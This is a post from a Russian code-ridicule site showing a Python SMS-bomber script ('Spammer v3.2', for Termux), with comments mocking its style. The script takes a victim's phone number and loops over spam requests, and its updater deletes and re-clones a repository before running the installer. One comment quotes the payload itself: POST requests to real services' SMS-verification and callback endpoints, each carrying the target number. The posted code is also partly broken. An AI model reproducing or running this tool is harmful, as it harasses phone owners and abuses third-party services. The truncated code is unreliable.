1. Python / Говнокод #26845

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    #!/usr/bin/python3
    # Spammer v3.2
    # Author: cludeex
    import os, random, time
    try:
        import requests
    except:
        im = input("Установить недостоющие библиотеки? (y/n) ")
        if im == "y":
            os.system("python -m pip install requests; spamer")
        else:
            print("Отменено")
            exit()
    def logo():
        os.system('cls' if os.name=='nt' else 'clear')
        print(color.BOLD+color.GREEN+"  ___ ___  _   __  __ __  __ ___ ___\n / __| _ \\/_\\ |  \\/  |  \\/  | __| _ \\\n \\__ \\  _/ _ \\| |\\/| | |\\/| | _||   /\n |___/_|/_/ \\_\\_|  |_|_|  |_|___|_|_\\\n\n     Spammer: github.com/cludeex\n"+color.END)
    def update():
        logo()
        up = input(color.BOLD+color.BLUE+"Вы уверены, что хотите обновить? "+color.END+"(y/n) ")
        if up == "y":
            os.system("rm -rf spammer && git clone https://github.com/cludeex/spammer && python ~/spammer/install.py")
        else:
            print("Отменено")
            main(2)
    def main(t):
        time.sleep(t)
        logo()
        print("[1] СМС СПАМЕР.")
        print("[2] ОБНОВИТЬ СПАМЕР.")
        print("[3] ВЫХОД.\n")
        input1 = input(color.BOLD+color.BLUE+"Введите номер пункта: "+color.END)
        try:
            requests.get("http://google.com", verify=True)
        except:
            logo()
            print(color.BOLD+color.RED+"[!] Нет интернет соединения.")
            main(2)
        if input1 == "1":
            logo()
            _phone = input(color.BOLD+color.BLUE+"Введите номер телефона: "+color.END)
            if _phone == "":
               main(0)
            if len(_phone) == 11 or len(_phone) == 12 or len(_phone) == 13:
                pass
            else:
                logo()
                print(color.BOLD+color.RED+"[!] Неправильный номер.")
                main(2)
            if _phone[0] == "+":
                _phone = _phone[1:]
            if _phone[0] == "8":
                _phone = "7"+_phone[1:]
            if _phone[0] == "9":
                _phone = "7"+_phone
            _name = ""
            for x in range(12):
                _name = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
                password = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
                username = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
            _phone9 = _phone[1:]
            _email = _name+"@gmail.com"
            email = _email
            logo()
            print("Телефон: "+color.BOLD+color.BLUE+_phone+color.END+"\nСпамер запущен.\nЧтобы остановить - нажмите Ctrl + Z")
            while True:
                if _phone[0] == "7":
                    # далее идёт дохуя try: post except: pass
            class color:l
        RED = '\033[91m'
        GREEN = '\033[92m'
        YELLOW = '\033[93m'
        BLUE = '\033[94m'
        MAGENTA = '\033[95m'
        CYAN = '\033[96m'
        WHITE = '\033[97m'
        GREY = '\033[90m'
        BOLD = '\033[1m'
        ITALIC = '\033[3m'
        UNDERLINE = '\033[4m'
        END = '\033[0m'
    if __name__ == "__main__":
        main(0)

    ps: код преднозначен для termux

    Запостил: milkpro, 06 Августа 2020

    Комментарии (16) RSS

    • после color: 1 случайно поставил
      Ответить
      • Джой для кого termcap/terminfo писал?!
        Заманали
        https://docs.python.org/3/howto/curses.html#attributes-and-color
        Ответить
        • нихуя не понял про что ты
          Ответить
          • > WHITE = '\033[97m'
            Вот это что?
            Ответить
            • это белый цвет
              Ответить
              • curses.COLOR_WHITE.

                Всё остальное настолько ужасно, что страшно даже комментировать.
                Ответить
                • я так и не понял что не так
                  Ответить
                  • Не судьба, значит.
                    Ответить
                  • Автору было бы полезно
                    Изучить ncurses
                    И реформат кода (например, в PyCharm)
                    И строковую интерполяцию (f strings)
                    И модуль Process
                    И регулярные выражения

                    А может, нет
                    Может, и не нужно ему ничего этого
                    Ответить
                    • "недостоющие"
                      Ответить
                    • показать все, что скрытоавтор всё изучил. оцени говнокод https://github.com/cludeex/spammer/blob/master/spammer.py
                      Ответить
                      • автор портировал идею собачки из php на питон
                        try:
                                    post("https://m.tiktok.com/node-a/send/download_link", json={"slideVerify":0, "language":"ru", "PhoneRegionCode":"7", "Mobile":phone9, "page":{"pageName":"home", "launchMode":"direct", "trafficType":""}}, headers={"User-Agent": user_agent})
                                except:
                                    pass
                                try:
                                    post("https://thehive.pro/auth/signup", json={"phone": "+"+phone}, headers={"User-Agent": user_agent})
                                except:
                                    pass
                                try:
                                    post("https://msk.tele2.ru/api/validation/number/"+phone, json={"sender": "Tele2"}, headers={"User-Agent": user_agent})
                                except:
                                    pass
                                try:
                                    formatted_phone = format_phone(phone, "+# (###) ### - ## - ##")
                                    post("https://www.taxi-ritm.ru/ajax/ppp/ppp_back_call.php", data={"RECALL": "Y", "BACK_CALL_PHONE": phone}, headers={"User-Agent": user_agent})
                                except:
                                    pass
                                try:
                                    post("https://www.tarantino-family.com/wp-admin/admin-ajax.php", data={"action": "callback_phonenumber", "phone": phone}, headers={"User-Agent": user_agent})
                                except:
                                    pass
                                try:
                                    post("https://lk.tabris.ru/reg/", data={"action": "phone", "phone": phone}, headers={"User-Agent": user_agent})
                                except:
                                    pass


                        а болше вроде он ничо не сделал
                        Ответить
                        • 10 ON ERROR RESUME NEXT : REM ИСПЫТАННЫЙ СПОСОБ РЕШАТЬ ВОПРОСЫ
                          Ответить
                          • как плачет ночами

                            кросс-платформенность, например

                            system("cls" if name == "nt" else "clear")
                            Ответить
                            • В гостях она, как дома, где всё знакомо.
                              Ответить

    Добавить комментарий